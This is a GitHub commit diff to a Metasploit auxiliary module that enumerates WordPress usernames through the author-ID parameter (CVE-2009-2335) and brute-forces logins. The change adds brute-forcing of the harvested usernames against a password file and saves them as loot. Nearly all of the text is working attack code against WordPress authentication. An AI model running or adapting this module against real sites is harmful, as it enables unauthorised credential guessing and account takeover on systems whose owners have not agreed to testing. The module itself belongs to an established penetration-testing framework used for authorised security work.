Skip to content

Commit d92b3bd

Browse files
committed
Apply fixes
1 parent 2746a57 commit d92b3bd

File tree

1 file changed

+62
-48
lines changed

1 file changed

+62
-48
lines changed

modules/auxiliary/scanner/http/wordpress_login_enum.rb

Lines changed: 62 additions & 48 deletions
Original file line numberDiff line numberDiff line change
@@ -5,9 +5,6 @@
55
# http://metasploit.com/
66
##
77

8-
require 'uri'
9-
10-
118
class Metasploit3 < Msf::Auxiliary
129

1310
include Msf::Exploit::Remote::HttpClient
@@ -18,18 +15,19 @@ class Metasploit3 < Msf::Auxiliary
1815

1916
def initialize
2017
super(
21-
'Name' => 'Wordpress Brute Force and User Enumeration Utility',
22-
'Description' => 'Wordpress Authentication Brute Force and User Enumeration Utility',
23-
'Author' => [
24-
'Alligator Security Team',
25-
'Tiago Ferreira <tiago.ccna[at]gmail.com>',
26-
'Zach Grace <zgrace[at]404labs.com>'
27-
],
18+
'Name' => 'Wordpress Brute Force and User Enumeration Utility',
19+
'Description' => 'Wordpress Authentication Brute Force and User Enumeration Utility',
20+
'Author' =>
21+
[
22+
'Alligator Security Team',
23+
'Tiago Ferreira <tiago.ccna[at]gmail.com>',
24+
'Zach Grace <zgrace[at]404labs.com>'
25+
],
2826
'References' =>
2927
[
3028
['BID', '35581'],
3129
['CVE', '2009-2335'],
32-
['OSVDB', '55713'],
30+
['OSVDB', '55713']
3331
],
3432
'License' => MSF_LICENSE
3533
)
@@ -41,7 +39,7 @@ def initialize
4139
OptBool.new('BRUTEFORCE', [ true, "Perform brute force authentication", true ]),
4240
OptBool.new('ENUMERATE_USERNAMES', [ true, "Enumerate usernames", true ]),
4341
OptString.new('RANGE_START', [false, 'First user id to enumerate', '1']),
44-
OptString.new('RANGE_END', [false, 'Last user id to enumerate', '10']),
42+
OptString.new('RANGE_END', [false, 'Last user id to enumerate', '10'])
4543
], self.class)
4644

4745
end
@@ -52,9 +50,11 @@ def target_url
5250

5351

5452
def run_host(ip)
53+
usernames = []
5554
if datastore['ENUMERATE_USERNAMES']
56-
enum_usernames
55+
usernames = enum_usernames
5756
end
57+
5858
if datastore['VALIDATE_USERS']
5959
@users_found = {}
6060
vprint_status("#{target_url} - WordPress Enumeration - Running User Enumeration")
@@ -72,17 +72,29 @@ def run_host(ip)
7272
if datastore['VALIDATE_USERS']
7373
if @users_found && @users_found.keys.size > 0
7474
vprint_status("#{target_url} - WordPress Brute Force - Skipping all but #{uf = @users_found.keys.size} valid #{uf == 1 ? "user" : "users"}")
75-
else
76-
vprint_status("#{target_url} - WordPress Brute Force - No valid users found. Exiting.")
77-
return
7875
end
7976
end
77+
78+
# Brute-force using files.
8079
each_user_pass { |user, pass|
8180
if datastore['VALIDATE_USERS']
8281
next unless @users_found[user]
8382
end
84-
do_login(user, pass)
83+
84+
do_login(user, pass)
8585
}
86+
87+
# Brute force previously found users
88+
if not usernames.empty?
89+
print_status("#{target_url} - Brute-forcing previously found accounts...")
90+
passwords = load_password_vars(datastore['PASS_FILE'])
91+
usernames.each do |user|
92+
passwords.each do |pass|
93+
do_login(user, pass)
94+
end
95+
end
96+
end
97+
8698
end
8799
end
88100

@@ -126,7 +138,8 @@ def do_enum(user=nil)
126138
:sname => (ssl ? 'https' : 'http'),
127139
:user => user,
128140
:port => rport,
129-
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}"
141+
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}",
142+
130143
)
131144

132145
@users_found[user] = :reported
@@ -186,42 +199,43 @@ def do_login(user=nil,pass=nil)
186199
end
187200
end
188201

189-
def enum_usernames()
190-
usernames = Tempfile.new('wp_enum')
191-
begin
192-
for i in datastore['RANGE_START']..datastore['RANGE_END']
193-
uri = "#{datastore['URI'].gsub(/wp-login/, 'index')}?author=#{i}"
194-
print_status "Requesting #{uri}"
202+
def enum_usernames
203+
usernames = []
204+
for i in datastore['RANGE_START']..datastore['RANGE_END']
205+
uri = "#{datastore['URI'].gsub(/wp-login/, 'index')}?author=#{i}"
206+
print_status "#{target_url} - Requesting #{uri}"
207+
res = send_request_cgi({
208+
'method' => 'GET',
209+
'uri' => uri
210+
})
211+
212+
if (res and res.code == 301)
213+
uri = URI(res.headers['Location'])
214+
uri = "#{uri.path}?#{uri.query}"
195215
res = send_request_cgi({
196216
'method' => 'GET',
197217
'uri' => uri
198218
})
219+
end
199220

200-
if (res and res.code == 301)
201-
uri = URI(res.headers['Location'])
202-
uri = "#{uri.path}?#{uri.query}"
203-
res = send_request_cgi({
204-
'method' => 'GET',
205-
'uri' => uri
206-
})
207-
end
208-
209-
if (res == nil)
210-
print_error("Error getting response.")
211-
elsif (res.code == 200)
212-
#username = /<link rel="alternate" type="application\/rss\+xml" title=".*" href="http[s]*:\/\/.*\/(.*)\/feed\/" \/>/.match(res.body.to_s)[1]
213-
username = /href="http[s]*:\/\/.*\/author\/(.*)\/feed\//.match(res.body.to_s)[1]
214-
usernames.write("#{username}\n")
215-
print_good "Found user #{username} with id #{i}"
216-
elsif (res.code == 404)
217-
print_status "No user with id #{i} found"
218-
else
219-
print_error "Error, #{res.code} returned."
220-
end
221+
if res.nil?
222+
print_error("#{target_url} - Error getting response.")
223+
elsif res.code == 200 and res.body =~ /href="http[s]*:\/\/.*\/\?*author.+title="([[:print:]]+)" /i
224+
username = $1
225+
print_good "#{target_url} - Found user '#{username}' with id #{i.to_s}"
226+
usernames << username
227+
elsif res.code == 404
228+
print_status "#{target_url} - No user with id #{i.to_s} found"
229+
else
230+
print_error "#{target_url} - Unknown error. HTTP #{res.code.to_s}"
221231
end
222-
ensure
223-
datastore['USER_FILE'] = usernames.path
224-
usernames.close
225232
end
233+
234+
if not usernames.empty?
235+
p = store_loot('wordpress.users', 'text/plain', rhost, usernames * "\n", "#{rhost}_wordpress_users.txt")
236+
print_status("#{target_url} - Usernames stored in: #{p}")
237+
end
238+
239+
return usernames
226240
end
227241
end

0 commit comments

Comments
 (0)